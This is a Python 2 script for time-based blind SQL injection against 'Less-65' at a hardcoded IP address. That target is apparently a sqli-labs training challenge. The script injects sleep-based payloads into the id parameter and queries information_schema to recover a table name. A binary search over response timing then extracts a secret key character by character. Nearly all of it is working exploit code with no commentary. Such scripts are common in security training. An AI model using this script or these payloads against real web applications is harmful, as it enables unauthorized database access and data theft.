import urllib
import urllib2

url = "http://125.216.242.51/Less-65/?id="
asciipayload = "1\") and if(ascii(substr((%s),%d,1))>=%d,0,sleep(5))"
tablenamelenpayload = "1\") and if(((select length(%s) from information_schema.tables where table_schema='CHALLENGES')>=%d),0,sleep(5))"
columnnumpayload = "1\") and if(((select count(column_name) from information_schema.columns where table_schema='CHALLENGES' and table_name='%s')>=%d),0,sleep(5))"
tail = "--+"

table_name_in_str = "select table_name from information_schema.tables where table_schema='CHALLENGES'"
#column_name_in_str = "select column_name from information_schema.columns where table_schema='CHALLENGES' and table_name='%s' limit %d,1"
#record_in_str = "select %s from %s limit 0,1"

reset_str = "reset"

def getAsciiResult(payload,in_str,pos,ascii):
    final_url = url + urllib.quote(payload % (in_str,pos,ascii)) + tail
    #print final_url
    try:
        res = urllib2.urlopen(final_url,timeout=5)
        res_str = res.read()
        #print res_str
        return True
    except Exception,e:
        return False

def getAscii2(payload,in_str,len):
    res = ""
    for i in range(1,len+1):
        for j in range(32,128):
            if(getAsciiResult(payload,in_str,i,j) == False):
                res += chr(j-1)
                print j,res
                break
    return res

def getAscii(payload,in_str,len):
    out_str = ""
    for i in range(1,len+1):
        leftAsc = 32
        rightAsc = 127
        #print i,left,right
        while leftAsc < rightAsc - 1:
            midAsc = (leftAsc + rightAsc) >>1
            print payload,in_str,i,midAsc
            if(getAsciiResult(payload,in_str,i,midAsc) == True):
                leftAsc = midAsc
            else:
                rightAsc = midAsc
            print leftAsc,rightAsc
        out_str += chr(leftAsc)
        #print out_str
    return out_str

def getLengthResult(payload,in_str,len):
    #print payload,in_str,len
    final_url = url + urllib.quote(payload % (in_str,len)) + tail
    #print final_url
    #time.sleep(10)
    try:
        res = urllib2.urlopen(final_url,timeout=5)
        return True
    except Exception,e:
        return False

def getLength(payload,in_str):
    #print getLengthResult(payload, "c", 22)
    left = 0
    right = 0
    guess = 10
    step = 5
    flag = False
    #print getLengthResult(payload, "c", 22)
    while(1):
        #print guess
        #print getLengthResult(payload, "c", 22)
        if(getLengthResult(payload, in_str, guess) == True):
            #print getLengthResult(payload, "c", 22)
            guess += step
            flag = True
        else:
            #print getLengthResult(payload, "c", 22)
            if(flag):
                left = guess - step
                right = guess
            else:
                right = guess
            #print getLengthResult(payload, "c", 22)
            break
    #print getLengthResult(payload, "c", 22)
    #print left,right
    #print getLengthResult(payload, "c", 22)
    if(right - left < 5):
        for i in range(left,right+1):
            if(getLengthResult(payload,in_str,i)== False):
                return i-1
    else:
        while left < right - 1:
            mid = (left + right) >> 1
            #print left,right,mid
            #print getLengthResult(payload,in_str,mid)
            #print payload,in_str,mid
            if(getLengthResult(payload,in_str,mid)==True):
                left = mid
            else:
                right = mid
        return left

def solve():
    table_name_len = getLength(tablenamelenpayload,"table_name")
    #table_name_len = 10
    print table_name_len
    table_name = getAscii(asciipayload,table_name_in_str,table_name_len)
    print table_name
    #column_num = getLength(columnnumpayload,table_name)
    #print column_num
    recordlenpayload = "1\") and if(((select length(%s) from (select 1 as a,2 as b,3 as c,4 as d from " + table_name + " where 1=2 union select * from " + table_name + " limit 0,1) aa)>=%d),0,sleep(5))"
    record_len = getLength(recordlenpayload,"c")
    #record_len = 24
    print record_len
    record_in_str = "select c from (select 1 as a,2 as b,3 as c,4 as d from " + table_name + " where 1=2 union select * from " + table_name + " limit 0,1) aa"
    #print record_in_str
    key = getAscii(asciipayload,record_in_str,record_len)
    print key
    '''
    for i in range(3,4):
        columnnamelenpayload = "1') and if(((select length(column_name) from information_schema.columns where table_schema='CHALLENGES' and table_name='%s' limit " + str(i-1) + ",1)>=%d),0,sleep(5))"
        column_name_len = getLength(columnnamelenpayload,table_name)
        column_name = getAscii(asciipayload,column_name_in_str % (table_name,i-1),column_name_len,8,"secret_")
        print column_name
    recordlenpayload = "1') and if(((select length(%s) from " + table_name + " limit 0,1)>=%d),0,sleep(5))"
    #choose_column_name = input("choose_column_name:")
    choose_column_name = column_name
    print choose_column_name
    record_len = getLength(recordlenpayload,choose_column_name)
    print record_len
    record = getAscii(asciipayload,record_in_str % (choose_column_name,table_name),record_len)
    print record
    '''

solve()
#recordlenpayload = "1' and if(((select length(%s) from (select 1 as a,2 as b,3 as c,4 as d from x8ecwju95p where 1=2 union select * from x8ecwju95p limit 0,1) aa)>=%d),0,sleep(5))"
#record_len = getLength(recordlenpayload,"c")
#print record_len
#print getLengthResult(recordlenpayload,"c",22)
#reset()
#record_in_str = "select c from (select 1 as a,2 as b,3 as c,4 as d from cfepigep39 where 1=2 union select * from cfepigep39 limit 0,1) aa"
#record_in_str = "select secret_HOBP from cfepigep39 limit 0,1"
'''
print getAsciiResult(asciipayload,record_in_str,1,88)
print getAsciiResult(asciipayload,record_in_str,1,89)
print getAsciiResult(asciipayload,record_in_str,2,56)
print getAsciiResult(asciipayload,record_in_str,2,57)
print getAsciiResult(asciipayload,record_in_str,3,108)
print getAsciiResult(asciipayload,record_in_str,3,109)
'''
#getAscii(asciipayload,record_in_str,24)
